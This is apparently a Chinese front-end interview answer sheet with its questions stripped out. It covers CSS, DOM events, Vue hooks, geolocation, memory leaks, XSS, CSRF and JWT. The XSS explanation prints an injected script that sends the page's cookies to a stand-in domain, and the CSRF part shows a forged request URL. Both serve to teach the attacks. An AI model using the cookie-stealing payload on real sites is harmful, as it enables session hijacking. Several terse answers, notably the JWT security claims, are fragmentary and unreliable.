这一套面试题可能和网上看到的都不太一样,如果你都能答出来,那你就是
25k+
的水平了
-webkit-font-smoothing: subpixel-antialiased
-webkit-font-smoothing主要有一下三个属性:
1、使用transform:scale()
font-size:10px;
-webkit-transform:scale(0.8)
/*这里的数字0.8,是缩放比例,可以根据情况变化。*/
2、 加-webkit-text-size-adjust:none; 字体大小 就不受限制了。但是谷歌新版本已经不支持了
#chrome10px{ -webkit-text-size-adjust:none; font-size:10px; }
使用label
<label for="radio_test">
男生:<input type="radio" id="radio_test" />
</label>
addEventListener(type, listener[, useCapture ])
addEventListener(type, listener[, options ])
addEventListener(type, listener, {
capture: false,
passive: false,
once: false
})
第一个参数是事件的类型 (如 “click” ).
第二个参数是事件触发后调用的函数
第三个参数是可选参数,布尔值或者对象值。
如果是布尔值得话,默认是false(冒泡阶段执行)true(捕获阶段产生)
如果是对象值,有三个属性:
1、其中 capture 属性等价于以前的 useCapture 参数;
2、once 属性就是表明该监听器是一次性的,执行一次后就被自动 removeEventListener 掉。
3、passive 表示listener永远不会调用preventDefault()。如果listener仍然调用了这个函数,客户端将会忽略它并抛出一个控制台警告。
true
Math.min() 打印Infinity
Math.max() 打印 -Infinity
总共12
个
初始化 beforeCreate、created
创建期 beforeMount、mounted
更新期 beforeUpdate、updated
销毁期 beforeDestroy、destroyed
配合keep-alive 使用的两个函数 activated、deactivated
2.5版本新增的,处理异常的钩子函数 errorCaptured
在 vue-v2.6 的版本中,处理ssr的函数 serverPrefetch
把tauchmove默认事件取消,显然这不是一个很好的方法,如果是h5嵌套到app中的话,一般都是原生去完善这个功能的
e.preventDefault(); //阻止浏览器默认事件
点透的解决根本方案就是解决300ms延迟的问题
300ms延迟解决方案:
<meta name="viewport" content="user-scalable=no">
<meta name="viewport" content="initial-scale=1,maximum-scale=1">
<meta name="viewport" content="width=device-width">
更多解决方案戳https://www.cnblogs.com/li923/p/11846599.html,这篇文章整理的比较详细
单页面应用(SPA),通俗一点说就是指只有一个主页面的应用,浏览器一开始要加载所有必须的 html, js, css。所有的页面内容都包含在这个所谓的主页面中。但在写的时候,还是会分开写(页面片段),然后在交互的时候由路由程序动态载入,单页面的页面跳转,仅刷新局部资源。多应用于pc端。
多页面(MPA),就是指一个应用中有多个页面,页面跳转时是整页刷新
单页面的优点:
1,用户体验好,快,内容的改变不需要重新加载整个页面,基于这一点SPA对服务器压力较小
2,前后端分离
3,页面效果会比较炫酷(比如切换页面内容时的转场动画)
单页面缺点:
1,不利于seo
2,导航不可用,如果一定要导航需要自行实现前进、后退。(由于是单页面不能用浏览器的前进后退功能,所以需要自己建立堆栈管理)
3,初次加载时耗时多
4,页面复杂度提高很多
图片来源https://juejin.im/post/5a0ea4ec6fb9a0450407725c
h5实现获取地理位置信息并定位功能有很多种方法,比如使用原生h5,第三方地图接口如(百度地图,腾讯地图等)等
定位功能(Geolocation)是HTML5的新特性,因此只有在支持HTML5的现代浏览器上运行。首先我们要检测用户设备浏览器是否支持地理定位,如果支持则获取地理信息。注意这个特性可能侵犯用户的隐私,除非用户同意,否则用户位置信息是不可用的,所以我们在访问该应用时会提示是否允许地理定位,我们当然选择允许即可。
function getLocation(){
if (navigator.geolocation){
navigator.geolocation.getCurrentPosition(showPosition,showError);
}else{
alert("浏览器不支持地理定位。");
}
}
上面的代码可以知道,如果用户设备支持地理定位,则运行 getCurrentPosition() 如果getCurrentPosition()运行成功,则向参数showPosition中规定的函数返回一个coordinates对象,getCurrentPosition() 方法的第二个参数showError用于处理错误,它规定当获取用户位置失败时运行的函数。
我们先来看一下函数showError(),它规定获取用户地理位置失败时的一些错误代码处理方式:
function showError(error){
switch(error.code) {
case error.PERMISSION_DENIED:
alert("定位失败,用户拒绝请求地理定位");
break;
case error.POSITION_UNAVAILABLE:
alert("定位失败,位置信息是不可用");
break;
case error.TIMEOUT:
alert("定位失败,请求获取用户位置超时");
break;
case error.UNKNOWN_ERROR:
alert("定位失败,定位系统失效");
break;
}
}
我们再来看函数showPosition(),调用coords的latitude和longitude即可获取到用户的纬度和经度。
function showPosition(position){
var lat = position.coords.latitude; //纬度
var lag = position.coords.longitude; //经度
alert('纬度:'+lat+',经度:'+lag);
}
答案参考https://www.cnblogs.com/lijuntao/p/6439596.html
1、意外的全局变量
2、被遗忘的的计时器或回调函数
3、闭包
内存泄露是指一块被分配的内存既不能使用,又不能回收,直到浏览器进程结束。即指由于疏忽或错误造成程序未能释放已经不再使用的内存。 内存泄漏并非指内存在物理上的消失,而是应用程序分配某段内存后,由于设计错误,导致在释放该段内存之前就失去了对该段内存的控制,从而造成了内存的浪费。
内存泄露会导致一系列问题,比如:运行缓慢,崩溃,高延迟,甚至一些与其他应用相关的问题。
组件是功能化的封装,模块是代码的封装
模块化:是从代码逻辑的角度进行划分的,方便代码分层开发,保证每个功能模块的职能单一;
组件化:是从UI界面的角度进行划分的,前端的组件化,方便UI组件的复用
https://www.cnblogs.com/web-record/p/9141373.html
XSS攻击,全称跨站脚本攻击,是为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。如果说SQL注入是直接在SQL里执行了用户输入,那XSS攻击是在HTML里代码执行了用户输入。相对SQL注入,XSS似乎更能引起人关注。
例子:一个文本框 < input type="text" name='keyname' value="">
在页面上我输入了这样的代码:< script> window.location.href='MyDomain.com?cookie=' + document.cookie;
这段代码获取到当前页面的cookie
值,并将cookie值传递到另一个名为MyDomain.com的网站。利用这种模式,黑客可以获取到用户的登录信息或者将用户跳转到钓鱼网站来达成自己的目的。XSS攻击也可以简单分为两种,一种是上述例子中利用url引诱客户点击来实现;另一种是通过存储到数据库,在其它用户获取相关信息时来执行脚本。
解决方案:
顾名思义,是伪造请求,冒充用户在站内的正常操作。攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来讲,这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,而且你自己还不知道究竟是哪些操作。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账…造成的问题包括:个人隐私泄露以及财产安全。
CSRF攻击原理如下:
例子1:
比如你打开浏览器,正在访问A网站,登录了自己的账号,进行查看、编辑一些正常操作。如下图所示:
此时,你打开了B网站,随意点了一个链接(这个链接相当于操作了上面网站中的删除按钮)。
接下来发生了不可思义的一幕,明明只是点了B网站页面的一个链接,却对A网站的数据进行了操作。
出现这种现象是因为,cookie在同一个浏览器窗口、不同TAB标签页,会被共享,也就是说,当你在同一个浏览器窗口(不管是不是同一个网站)向同一个服务器发送请求时,cookie都会被自动传到服务器。黑客完全可以在不知道你的 cookie 的情况下利用浏览器自动发送的 cookie 通过服务器的安全验证。
例子2:
一论坛网站的发贴是通过 GET 请求访问,点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问:
http://example.com/bbs/create_post.php?title=标题&content=内容
那么,我只需要在论坛中发一帖,包含一链接:
http://example.com/bbs/create_post.php?title=我是哈哈哈哈哈&content=哈哈
只要有用户点击了这个链接,那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧,但是既然发贴的请求可以伪造,那么删帖、转帐、改密码、发邮件全都可以伪造。
解决方案:
在用户登录成功后,返回一个随机token给浏览器,当每次用户发送请求的时候,将token 主动发送给服务器端(为了安全,不建议将token以参数的形式传给服务器,可以将token存储在请求头中),服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。
接下来我们来看抵御CSRF攻击的方法:
JSON Web Token(缩写 JWT)
是目前最流行的跨域认证解决方案,可以用来解决跨站请求伪造(csrf)的漏洞。
JWT具体使用方法可参考答案https://blog.csdn.net/Charissa2017/article/details/105183188
加载渲染过程
父beforeCreate->父created->父beforeMount->子beforeCreate->子created->子beforeMount->子mounted->父mounted
子组件更新过程
父beforeUpdate->子beforeUpdate->子updated->父updated
父组件更新过程
父beforeUpdate->父updated
销毁过程
父beforeDestroy->子beforeDestroy->子destroyed->父destroyed
order | flex-grow |flex-shrink | flex-basis | flex | align-self
卡顿是因为接口数据太大 前端没有做节流防抖工作 可以使用分页请求
白屏是网速、静态资源加载的问题
无法检测到对象属性的改变
koa是在next中封了个promise
Function.prototype.myBind = function(context) {
if (typeof this !== "function") {
throw new Error("不是一个函数")
}
const self = this;
const args1 = [...arguments].slice(1)
const bindFn = function() {
const args2 = [...arguments]
return self.apply(context, args1.concat(args2))
}
return bindFn
}
const obj = {
value: 'hdove'
}
function fn(name, age) {
return {
value: this.value,
name,
age
}
}
var result = fn.myBind(obj)('lu', 25)
console.log(result)
异步调用的时候,await返回Promise,必须和async一起配套使用
Object.definepropty 监听数据变化,通过观察者模式,然后修改dom
方便编写 阅读 模块化开发
v-bind
定义一个对象 绑定一个
把业务处理交给第三者,编写满足各种各样需求的组件
根本区别是前后端分离是有各自的服务
后端模板封装接口 前端渲染页面
koa-router static
表单 json 浏览器请求 cookie 自定义首部字段
cookies的首部
promise async,await async方法
可以实现非对称加密 不会被破解 可以正向重放攻击
单页面不用跳转页面,页面数据可以共享,加载速度快,用户体验好,不利于SEO优化
多页面
根据url路径不同进行动态组件的切换
动态路由发生变化的时候调用
router.replace不会占用路由栈,当前只有一个路由,节省内存,不会记录history
可以,使用命名视图
组件中的data
jsonp跨域是通过动态添加script标签实现跨域的
由于script标签只能发送get请求
所以jsonp不支持post方式的跨域
reg里面可以写变量
通过useragen
transform z轴开启硬件加速
event对象里tauchs数组有几个元素
可扩展性,低耦合性
cdn分发,不携带cookie
使用eval
1、session是个后端的抽象概念,在后端创建一个会话,session也可以是个实体概念,在后端创建一个随机字符串,这个字符串保存在内存、文件、数据库里。
2、服务器端将session的随机hash串以cookie的形式 存储在客户的浏览器里
3、浏览器端需要比对cookie,将cookie携带到后端 ,后端再用自己 存储的session hash和客户端传来的cookie比较
1、当用户登录成功后,后端使用对称(或非对称)加密的算法产生一个token
2、将token分发给登录成功的用户,通过浏览器的永久存储(cookie,webstorage)保留下来
3、当用户访问某个需要权限的页面的时候,将令牌出示给后端,后端进行验证,验证沟通过就可以有权
限了
token不需要在服务器端维护状态,只需要验证token
支持对称加密和非对称加密
使用koa时,上传图片用到了koa-multer,如果是不符合要求的图片不能捕获到错误
图片上传
尽可能使用计算属性
路由懒加载
类shouldcomponentupdata purComponent (但是不能监测对象)
函数memo
memozition